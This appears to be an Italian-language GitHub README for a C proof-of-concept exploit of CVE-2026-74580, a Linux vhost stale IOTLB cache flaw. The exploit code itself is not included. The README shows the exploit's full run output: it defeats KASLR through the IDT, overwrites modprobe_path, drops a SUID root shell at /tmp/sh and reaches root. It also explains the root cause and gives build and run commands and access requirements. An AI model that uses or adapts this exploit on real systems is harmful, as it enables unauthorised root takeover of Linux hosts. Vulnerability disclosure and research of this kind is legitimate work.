abc00012345/cve-2026-74580Proof-of-concept in C per CVE-2026-74580: sfrutta una cache obsoleta dei metadati IOTLB del vhost per sovrascrivere modprobe_path e ottenere l'escalation a root su host Linux x86-64.
Codice originale e file readme da: https://github.com/zhangutah/security-research
Output atteso:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] memorizza nella cache la mappatura IOTLB dietro ciascuna regione di metadati del vring
(desc / avail / used). VHOST_SET_VRING_ADDR e VHOST_SET_VRING_NUM
non azzerano quella cache. Con un IOTLB del dispositivo collegato, un vq attivo può tradurre
un vring riconfigurato tramite una mappatura che non lo copre più.
vhost_vq_meta_fetch() non esegue alcun controllo di intervallo, e il risultato viene passato a
__copy_to_user() / __copy_from_user().
La stessa cache obsoleta è raggiungibile da un guest quando vhost viene eseguito in modalità
device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) e il guest reimposta una virtqueue
tramite VIRTIO_F_RING_RESET. Quel percorso non è oggetto di questo PoC.
de845981da67poc.c è un PoC per host x86-64 contro /dev/vhost-vsock. Apre una shell di root con euid=0. Crea /tmp/sh come suid root. Elimina il file dopo averlo testato manualmente!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
La ricerca dei simboli utilizza, nell'ordine: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path deve essere
presente; asm_exc_divide_error ricade su un indirizzo statico se mancante.
Il processo deve essere in grado di aprire /dev/vhost-vsock. Alcune immagini forniscono quel nodo
con permessi 0666; altre con 0660 root:kvm.
Eseguire solo su un sistema di test usa e getta di tua proprietà.